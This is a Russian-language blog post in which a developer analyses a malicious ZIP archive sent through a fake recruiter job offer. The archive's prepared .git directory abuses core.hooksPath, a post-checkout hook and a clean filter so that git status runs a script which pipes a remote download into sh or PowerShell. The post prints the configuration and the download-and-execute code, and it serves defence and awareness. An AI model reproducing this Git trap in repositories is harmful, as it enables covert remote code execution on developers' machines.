Недавно мне в LinkedIn написал рекрутер компании Cryptic Heaven с предложением о сотрудничестве. Компания якобы занимается разработкой финансовой системы для пользователей криптовалютных кредитных карт. Предложение выглядело вполне обычно: мой опыт им понравился, и они хотели обсудить возможное сотрудничество.

Я ответил, что мне интересно узнать подробности о проекте, должности и условиях работы.
В ответ получил следующее сообщение:
We have prepared contract document, job description and project for you here: https://www.фейковый-сайт.net/contract
If you agree, send me contract document after filling with your name.
То есть мне предлагали скачать документы, ознакомиться с проектом и заполнить договор.
По ссылке оказался ZIP-архив Contract-2026.zip. Я скачал его и решил изучить. Как выяснилось, внутри находились не только документы и исходный код, но и достаточно интересная ловушка, использующая стандартные возможности Git.
Причем для ее срабатывания не нужно запускать какой-нибудь подозрительный install.sh, устанавливать зависимости или собирать проект. В определенных условиях достаточно обычного git status, который среда разработки может выполнить автоматически.
Расскажу, как это устроено.
Что находилось внутри архива
Архив содержал README.md, contract.docx и полноценную директорию .git с историей репозитория, несколькими ветками и локальными настройками.
В README было написано, что документы разложены по трем веткам:
-
doc— договор о сотрудничестве. -
job— описание вакансии. -
codebase— исходный код проекта.
Предлагалось сначала ознакомиться с вакансией, затем изучить договор и после этого посмотреть код.
На первый взгляд все достаточно логично. Разработчику прислали репозиторий, где можно посмотреть проект и документацию.
Правда, сам договор оказался шаблоном с незаполненными полями. Там не было указано юридическое лицо, размер оплаты, юрисдикция и множество других условий. В описании вакансии Smart Contract Developer тоже оставалось много незаполненных полей.
Но интереснее было другое.
В ZIP находилась директория .git, причем со специально подготовленной конфигурацией.
Обычно разработчик получает ссылку на GitHub или GitLab и делает git clone. Здесь же мне прислали весь репозиторий в ZIP, включая служебный каталог .git.
И это оказалось принципиально важно.
Немного о том, как устроен Git
Большинство разработчиков воспринимают Git как инструмент для хранения истории изменений, создания веток и коммитов.
Но у Git есть механизмы, которые позволяют запускать внешние программы.
Первый механизм — Git Hooks.
Это скрипты, которые Git вызывает при определенных событиях. Например, перед коммитом, после переключения ветки или перед отправкой изменений на сервер.
Второй механизм — Git Filters.
Они позволяют преобразовывать содержимое файлов при переносе данных между рабочей директорией и внутренним хранилищем Git.
Оба механизма вполне легитимные. Они используются для автоматизации разработки, форматирования файлов и различных проверок.
Проблема появляется тогда, когда злоумышленник заранее настраивает их в репозитории, который ты собираешься открыть на своем компьютере.
Первая часть атаки — подмена расположения Git Hooks
Я заглянул в файл .git/config.
Там обнаружилась следующая настройка:
[core] hooksPath = .git/objects/interrupt/
По умолчанию Git ищет хуки в директории .git/hooks.
Но параметр core.hooksPath позволяет указать другой каталог.
В данном случае хуки перенесены в:
.git/objects/interrupt/
Почему именно туда?
Потому что большинство разработчиков не полезут изучать содержимое .git/objects. Обычно там находятся внутренние объекты Git, и вручную с ними никто не работает.
Внутри этого каталога лежал файл post-checkout.
Его содержимое:
#!/bin/sh#git status
Всего одна команда.
Хук post-checkout автоматически запускается после переключения ветки через git checkout или git switch.
То есть при выполнении команды:
git checkout job
Git сначала переключит ветку, а затем выполнит этот скрипт.
Зачем злоумышленнику понадобился git status? Ответ находится во второй части атаки.
Вторая часть — Git Filters
В том же .git/config обнаружилась следующая настройка:
[filter "ltr"] clean = .git/ltr
Здесь определяется пользовательский фильтр с названием ltr.
Параметр clean указывает команду, которая используется для преобразования содержимого файла из рабочей директории в представление, хранящееся в Git.
Обычно такой механизм применяется, например, для нормализации содержимого файлов перед сохранением.
Но Git должен еще знать, к каким файлам применять этот фильтр.
Для этого используется .gitattributes или локальный файл .git/info/attributes.
В присланном архиве находился:
.git/info/attributes
С таким содержимым:
* filter=ltr
Звездочка означает, что фильтр назначается всем подходящим файлам.
Получается, что при определенных операциях Git будет запускать .git/ltr, передавая ему содержимое файлов через стандартный ввод и ожидая получить обработанные данные через стандартный вывод.
И тут появляется интересный момент.
Команда git status не всегда ограничивается простым чтением названий файлов и текущей ветки. Чтобы определить, изменилось ли содержимое файлов, Git может пропускать данные через настроенный clean-фильтр.
Таким образом, совершенно обычный git status способен запустить стороннюю программу.
Я отдельно проверил это на безопасном тестовом репозитории, заменив фильтр на безобидный скрипт, который только записывает факт вызова в лог. В результате git status действительно вызвал фильтр, а переключение ветки дополнительно вызвало post-checkout.
Теперь понятно, зачем злоумышленник разместил в README инструкцию переключаться между ветками.
Третья часть — сам вредоносный скрипт
Осталось посмотреть содержимое .git/ltr.
Файл представляет собой shell-скрипт, который на первый взгляд выглядит немного сложнее, чем можно было ожидать.
В начале определяются два служебных файла:
FLAG_FILE=".git/.clean_filter_last"WATCH_LOCK=".git/.clean_filter_watch.lock"
В первый файл записывается время последнего обращения к фильтру. Второй используется как блокировка.
Дело в том, что Git может вызывать clean-фильтр несколько раз подряд — для разных файлов.
Если при каждом вызове немедленно скачивать и запускать вредоносный код, получится множество параллельных запусков.
Авторы скрипта решили эту проблему.
При каждом обращении обновляется временная метка. Фоновый процесс проверяет, сколько времени прошло с последнего обращения. Пока не прошло две секунды, он продолжает ждать.
NOW=$(date +%s)if [ $((NOW - LAST)) -lt 2 ]; then sleep 1 continuefi
Получается своеобразный debounce: дождаться окончания серии обращений к фильтру и только после этого выполнить основное действие.
Для предотвращения одновременного запуска нескольких наблюдателей используется создание директории-блокировки через mkdir.
После ожидания выполняется самая интересная часть:
case "$OSTYPE" indarwin*|linux*) curl -fsSL "https:///" | sh ;;msys*|cygwin*) curl.exe -fsSL "https:///" | powershell ;;*) curl -fsSL "https:///" | sh ;;esac
Это сокращенный вариант реального кода из архива. Адрес загрузки я заменил на условный.
Смысл достаточно простой.
Скрипт пытается определить операционную систему, скачать с удаленного сервера дополнительный код и немедленно выполнить его.
Для Linux и macOS предусмотрено выполнение через sh, а для Windows — через PowerShell.
Интересно, что злоумышленник использует переменную OSTYPE, которая не гарантирована стандартом POSIX sh. Поэтому определение системы не на всех оболочках обязательно сработает так, как задумано. Но предусмотрена и ветка по умолчанию.
Сам удаленный сервер в архиве находился на поддомене vercelscript.vercel.app.
Что именно выполняет загружаемый скрипт, по одному только содержимому ZIP установить нельзя. Это может быть загрузчик следующего этапа атаки, кража данных или другое вредоносное действие.
Но сам факт скрытой загрузки и выполнения удаленного кода уже достаточно красноречив.
Причем все запускается в фоне, а стандартный вывод и ошибки перенаправляются в /dev/null.
То есть пользователь может вообще ничего не заметить.
Почему фильтр не ломает работу Git
В конце .git/ltr присутствует команда:
cat
Это тоже важная деталь.
Git ожидает, что clean-фильтр прочитает данные из стандартного ввода и вернет преобразованное содержимое в стандартный вывод.
Но злоумышленнику ничего преобразовывать не нужно.
Поэтому скрипт просто возвращает полученные данные без изменений.
Для Git такой фильтр выглядит работающим: данные поступили, обработались и вернулись обратно.
А параллельно был запущен фоновый процесс, который должен скачать и выполнить удаленный код.
Таким образом, сама вредоносная операция не требует заметного изменения файлов проекта.
Самое интересное — как атака может сработать без участия пользователя
Представим обычный сценарий.
Ты скачиваешь ZIP, распаковываешь его и видишь README.md.
Если просто зайти в папку через проводник Windows, Git автоматически не запускается. Обычная распаковка тоже не вызывает Git Hooks или Git Filters.
Но дальше начинаются интересные варианты.
Первый вариант — VS Code.
Допустим, у тебя Markdown-файлы ассоциированы с Visual Studio Code. Ты дважды кликаешь по README, чтобы прочитать инструкцию.
VS Code умеет автоматически обнаруживать Git-репозитории. При включенном обнаружении репозиториев по открытым файлам он может найти .git в родительской папке.
После обнаружения репозитория Git-расширение может выполнить git status, чтобы показать текущие изменения.
Если репозиторий доверенный и Git действительно выполняет такую проверку, появляется возможность запуска вредоносного фильтра.
Получается следующая цепочка:
Открываем README.md | vЗапускается VS Code | vОбнаруживается Git-репозиторий | vVS Code вызывает git status | vGit использует clean-фильтр | vЗапускается .git/ltr | vСкачивается и выполняетсяудаленный скрипт
Важная оговорка: само открытие README в VS Code не гарантирует выполнение атаки. Это зависит от настроек редактора, доверия к рабочей области, автоматического обнаружения репозиториев и конкретных Git-операций.
Но такой сценарий вполне реалистичен.
Второй вариант — терминал.
Многие разработчики используют Git-aware приглашение командной строки.
Например, после перехода в директорию терминал показывает:
~/projects/cryptic-heaven (doc) $
Чтобы вывести название ветки, некоторые темы терминала используют git symbolic-ref, git rev-parse или похожие команды.
Сами по себе они не должны запускать clean-фильтр.
Но другие конфигурации дополнительно проверяют состояние рабочей директории через git status.
И вот в этом случае простой переход в каталог:
cd cryptic-heaven
может косвенно привести к выполнению вредоносного скрипта.
Не потому, что команда cd запускает Git, а потому, что терминал автоматически обновляет приглашение после смены директории.
Третий вариант — выполнение инструкций из README.
Это самый очевидный сценарий.
Пользователь читает, что документы расположены в разных ветках, и выполняет:
git checkout job
В результате Git может вызвать фильтр при обработке файлов, а после переключения дополнительно запустит post-checkout.
Тот, в свою очередь, выполнит git status.
Получается, что авторы архива предусмотрели сразу несколько путей срабатывания ловушки.
А как все это работает на Windows, если скрипт написан для Bash?
На первый взгляд может показаться, что Windows защищена от такой атаки, поскольку .git/ltr начинается с:
#!/bin/sh
Но есть нюанс.
Git for Windows поставляется с Unix-подобной средой и включает sh.exe и Bash.
Поэтому Git может запускать shell-скрипты даже тогда, когда пользователь работает в PowerShell или CMD.
Тебе не нужно самостоятельно открывать Git Bash.
Если Git вызывает скрипт с соответствующим интерпретатором, выполнение может происходить через поставляемую вместе с Git оболочку.
А внутри скрипта уже предусмотрен отдельный вариант для Windows — загрузка содержимого через curl.exe с передачей его PowerShell.
То есть атака изначально рассчитывалась не только на Linux.
Почему прислали ZIP, а не ссылку на GitHub?
На мой взгляд, это одна из главных особенностей атаки.
Когда мы выполняем обычный git clone, Git получает историю, ветки и содержимое файлов из удаленного репозитория.
Но локальный .git/config удаленного репозитория при этом не копируется.
Локальные Git Hooks тоже не передаются обычным клонированием как готовые исполняемые хуки.
А здесь злоумышленник прислал ZIP, внутри которого уже находилась целиком подготовленная директория .git.
В ней были:
.git/config.git/info/attributes.git/ltr.git/objects/interrupt/post-checkout
После распаковки пользователь получал готовый локальный Git-репозиторий со всеми вредоносными настройками.
И Git мог начать использовать их при первом же подходящем обращении.
То есть ZIP здесь нужен не просто для удобства передачи документов. Он позволяет передать именно ту локальную конфигурацию Git, которая необходима для работы ловушки.
Что в итоге
Получается довольно интересная схема атаки.
Злоумышленник не просит запустить непонятный EXE-файл. Не предлагает отключить антивирус. Не просит установить неизвестный пакет.
Вместо этого он присылает обычный на вид проект, использующий стандартные механизмы Git.
В одном месте настроен фильтр файлов. В другом изменен путь к хукам. В третьем лежит shell-скрипт. README предлагает переключаться между ветками.
Каждый элемент по отдельности может выглядеть относительно безобидно. Но вместе они образуют цепочку скрытого выполнения кода.
И особенно неприятно то, что запуск может произойти в результате действий, которые разработчик вообще не воспринимает как выполнение чужой программы.
Поэтому я бы сформулировал несколько правил работы с неизвестными проектами.
-
Если незнакомый человек присылает ZIP с готовой директорией
.git, стоит насторожиться. Особенно если неизвестно, почему нельзя воспользоваться обычнымgit clone. -
Не стоит открывать подозрительные репозитории в IDE, пока не проверены их настройки Git. IDE может выполнять Git-команды автоматически.
-
При анализе такого архива имеет смысл отдельно проверить
.git/config,.git/info/attributes, перенастроенные Git Hooks и команды фильтров. Делать это лучше через просмотрщик архива или в изолированной среде, не выполняя Git-команды внутри репозитория. -
Если архив уже открывался и срабатывание фильтра возможно, следует проверить систему и оценить необходимость замены секретов и токенов с доверенного устройства.
Хочу отдельно подчеркнуть, что наличие загрузчика еще не доказывает успешное заражение компьютера. Для этого необходимо установить, действительно ли сработал фильтр и какой код был получен с удаленного сервера.
Но назначение обнаруженной конструкции сомнений практически не вызывает: она предназначена для скрытого запуска удаленного кода на компьютере разработчика.
Мне понравилась техническая сторона этой атаки. Не потому, что она делает что-то принципиально новое, а потому, как здесь использовали привычные разработчикам инструменты.
Мы привыкли считать, что git status — это безопасная команда, которая просто показывает состояние репозитория. Оказывается, при работе с недоверенной локальной конфигурацией Git даже такое привычное действие может запускать сторонние программы.
И это, пожалуй, главный вывод из всей истории.
Источник: habr.com